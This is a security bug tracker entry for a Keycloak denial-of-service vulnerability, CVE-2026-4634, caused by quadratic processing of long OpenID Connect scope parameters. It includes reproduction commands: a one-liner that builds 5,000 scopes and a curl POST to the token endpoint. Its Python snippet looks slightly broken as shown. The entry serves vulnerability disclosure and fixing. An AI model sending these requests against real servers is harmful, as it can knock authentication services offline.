Bug 2450250 (CVE-2026-4634)

Summary: CVE-2026-4634 keycloak: Keycloak: Denial of Service via excessive processing of OpenID Connect scope parameters
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerabilityAssignee: Product Security DevOps Team <prodsec-dev>
Status: NEW --- QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: aschwart, aszczucz, boliveir, drichtar, mposolda, pjindal, rmartinc, security-response-team, ssilvert, sthorger, vmuzikar
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: ---
Doc Text:
A flaw was found in Keycloak. An unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with an excessively long scope parameter to the OpenID Connect (OIDC) token endpoint. This leads to high resource consumption and prolonged processing times, ultimately resulting in a Denial of Service (DoS) for the Keycloak server.
Story Points: ---
Clone Of: Environment:
Last Closed: Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Deadline: 2026-04-15   

Description OSIDB Bzimport 2026-03-23 08:41:56 UTC
When receiving a POST request on the OpenID Connect token endpoint,
Keycloak fails to limit the passed-in scopes, which leads to a high
resource usage in Keycloak.

1. Generate a long list of scopes

```
SCOPE_5K=$(python3 -c "print(' '.join(['scope'+str for i in range(5000)]))")
echo "Scope parameter length: ${#SCOPE_5K} bytes"
```

2. Post a ROPC Grant:

```
time curl -s -o /dev/null -w "admin-cli 5K scopes: HTTP %{http_code}
(%{time_total}s)\n" \
-X POST "${KC_URL}/realms/master/protocol/openid-connect/token" \
-d "grant_type=password&client_id=admin-cli&username=x&password=x&scope=${SCOPE_5K}"
```

Root cause: TokenManager.getRequestedClientScopes() at line 658
performs String.contains() on the entire scope parameter string for
each default client scope, resulting in O(n²) processing time.

A single POST request with ~49KB of scope values causes 38.6 seconds
of server-side processing; with ~99KB it reaches 151.8 seconds

The same problem occurs for client credential grants and token
refreshes - in the case of token refreshes the problem occurs even
before checking the token, so any token can be used, allowing any
unauthenticated attacker to perform this.